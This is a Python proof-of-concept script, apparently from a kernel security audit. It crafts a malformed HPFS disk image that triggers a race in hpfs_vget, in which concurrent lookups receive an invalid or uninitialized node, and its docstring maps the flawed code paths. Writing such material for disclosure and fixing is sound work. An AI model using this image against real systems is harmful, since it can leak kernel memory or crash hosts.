DF-3253 / craft_df3253.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | #!/usr/bin/env python3 """ DF-3253 โ crafted HPFS image for the hpfs_vget publish-before-validate race. Root cause (audited file: sys/vfs/hpfs/hpfs_hash.c): hpfs_vget (sys/vfs/hpfs/hpfs_vfsops.c:525) publishes the freshly kmalloc'd hpfsnode into the inode hash BEFORE bread()/FN_MAGIC validation (:529-541) and BOTH error paths vx_put() without unhashing โ the node stays hashed with h_flag = H_INVAL (h_fn = uninitialized heap if bread failed). hpfs_hphashvget (hpfs_hash.c:104-139) vget()s whatever it finds and never checks H_INVAL โ a concurrent lookup blocked in vget() on the creator's VX lock is handed the poisoned node the moment the failing creator releases it. hpfs_lookup (hpfs_vnops.c:1056) returns it to namei; hpfs_getattr (hpfs_vnops.c:463) exposes h_fn.fn_size via stat(). Race shape (important): namei holds the DIRECTORY vnode lock during VOP_LOOKUP, so two lookups in the SAME directory are serialized and can never race. The handoff needs two concurrent VFS_VGET()s for the SAME fnode through DIFFERENT directories โ which a crafted image provides directly: two dirents ("A/ZFILE" and "B/WFILE") both pointing at fnode 0x58. Nothing else in HPFS cross-locks those two paths. Layout (constants cross-checked against DF-3248's verified toolkit): 0x10 superblock (root fnode 0x20) 0x11 spareblock 0x30 bmind[0] -> 0x38 ; 0x38 bitmap 0x20 root fnode '.', VDIR -> dirblk 0x40 0x40 root dirblk: "A" -> fnode 0x60 ; "B" -> fnode 0x68 ; END 0x48 dirblk A: "ZFILE" -> fnode 0x58 ; END 0x50 dirblk B: "WFILE" -> fnode 0x58 ; END (same fnode!) 0x58 shared fnode: badmagic variant: fn_magic = 0xDEADBEEF, fn_size = 0x00BADF00D trunc variant: sector absent -> bread fails -> h_fn = uninit heap 0x60 fnode 'A' VDIR -> dirblk 0x48 0x68 fnode 'B' VDIR -> dirblk 0x50 usage: craft_df3253.py <out.img> <badmagic|trunc> """ import struct, sys SECTOR = 512 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE BAD_MAGIC = 0xDEADBEEF D_MAGIC = 0x77E40AAE DE_END = 0x0008 ROOT_FNO = 0x20 ROOT_DB = 0x40 DIRA_DB = 0x48 DIRB_DB = 0x50 ZFILE_FNO = 0x58 DIRA_FNO = 0x60 DIRB_FNO = 0x68 NSECT_FULL = 0x80 NSECT_TRUNC = 0x58 # image ends right before the shared fnode def dirent(buf, off, reclen, flag, fnode, mtime, size, atime, ctime, name): n = len(name) struct.pack_into('<HHI', buf, off+0, reclen & 0xFFFF, flag, fnode) struct.pack_into('<Q', buf, off+8, mtime & 0xFFFFFFFFFFFFFFFF) struct.pack_into('<I', buf, off+16, size & 0xFFFFFFFF) struct.pack_into('<Q', buf, off+24, atime & 0xFFFFFFFFFFFFFFFF) struct.pack_into('<Q', buf, off+32, ctime & 0xFFFFFFFFFFFFFFFF) struct.pack_into('<I', buf, off+40, 0) buf[off+44] = 0 buf[off+45] = 0 buf[off+46] = n buf[off+47:off+47+n] = name def dirblk_hdr(buf, off, parent, self_lsn): struct.pack_into('<IIII I', buf, off, D_MAGIC, 2048, 0, parent, self_lsn) def fnode(buf, off, name, parent, flag, size, abd_lsn, busy, freeoff_ab): n = len(name) struct.pack_into('<I', buf, off+0x00, FN_MAGIC) buf[off+0x10] = n buf[off+0x11:off+0x11+n] = name struct.pack_into('<I', buf, off+0x20, parent) buf[off+0x3B] = flag buf[off+0x3C] = 0 struct.pack_into('<H', buf, off+0x40, 9 - busy) buf[off+0x41] = busy struct.pack_into('<H', buf, off+0x42, freeoff_ab) if abd_lsn: struct.pack_into('<III', buf, off+0x44, 0, 1, abd_lsn) struct.pack_into('<I', buf, off+0xA4, size & 0xFFFFFFFF) def build(outpath, variant): nsect = NSECT_TRUNC if variant == 'trunc' else NSECT_FULL img = bytearray(nsect * SECTOR) img[0] = 0xEB struct.pack_into('<H', img, SECTOR - 2, 0xAA55) su = 0x10 * SECTOR struct.pack_into('<Q', img, su + 0, SU_MAGIC) img[su + 8] = 2 struct.pack_into('<I', img, su + 12, ROOT_FNO) struct.pack_into('<I', img, su + 16, nsect) struct.pack_into('<I', img, su + 24, 0x30) struct.pack_into('<I', img, su + 28, 0x30) struct.pack_into('<Q', img, 0x11 * SECTOR, SP_MAGIC) struct.pack_into('<I', img, 0x30 * SECTOR, 0x38) fnode(img, ROOT_FNO*SECTOR, b'.', ROOT_FNO, 1, 0, ROOT_DB, 1, 20) # root dirblk: "A" and "B" db = ROOT_DB * SECTOR dirblk_hdr(img, db, ROOT_FNO, ROOT_DB) dirent(img, db + 20, 64, 0, DIRA_FNO, 0, 0, 0, 0, b'A') dirent(img, db + 84, 64, 0, DIRB_FNO, 0, 0, 0, 0, b'B') eo = 148 dirent(img, db + eo, 2048 - eo, DE_END, 0, 0, 0, 0, 0, b'') # dirblk A: "ZFILE" -> shared fnode ; dirblk B: "WFILE" -> shared fnode da = DIRA_DB * SECTOR dirblk_hdr(img, da, DIRA_FNO, DIRA_DB) dirent(img, da + 20, 64, 0, ZFILE_FNO, 0, 0, 0, 0, b'ZFILE') dirent(img, da + 84, 2048 - 84, DE_END, 0, 0, 0, 0, 0, b'') dbb = DIRB_DB * SECTOR dirblk_hdr(img, dbb, DIRB_FNO, DIRB_DB) dirent(img, dbb + 20, 64, 0, ZFILE_FNO, 0, 0, 0, 0, b'WFILE') dirent(img, dbb + 84, 2048 - 84, DE_END, 0, 0, 0, 0, 0, b'') # directory A and B fnodes fnode(img, DIRA_FNO*SECTOR, b'A', ROOT_FNO, 1, 0, DIRA_DB, 1, 20) fnode(img, DIRB_FNO*SECTOR, b'B', ROOT_FNO, 1, 0, DIRB_DB, 1, 20) if variant == 'badmagic': # the shared victim fnode: bad magic + observable size marker fnode(img, ZFILE_FNO*SECTOR, b'ZFILE', ROOT_FNO, 0, 0x00BADF00D, None, 0, 8) struct.pack_into('<I', img, ZFILE_FNO*SECTOR + 0x00, BAD_MAGIC) # 'trunc': sector 0x58 absent -> bread fails -> h_fn = uninit heap with open(outpath, 'wb') as f: f.write(img) print("wrote %s: variant=%s nsect=0x%x (shared fnode 0x58 via A/ZFILE " "and B/WFILE; %s)" % (outpath, variant, nsect, "BAD_MAGIC + size=0x00BADF00D" if variant == 'badmagic' else "absent -> bread fails, h_fn = uninit heap")) if __name__ == '__main__': if len(sys.argv) != 3 or sys.argv[2] not in ('badmagic', 'trunc'): sys.exit("usage: craft_df3253.py <out.img> <badmagic|trunc>") build(sys.argv[1], sys.argv[2]) |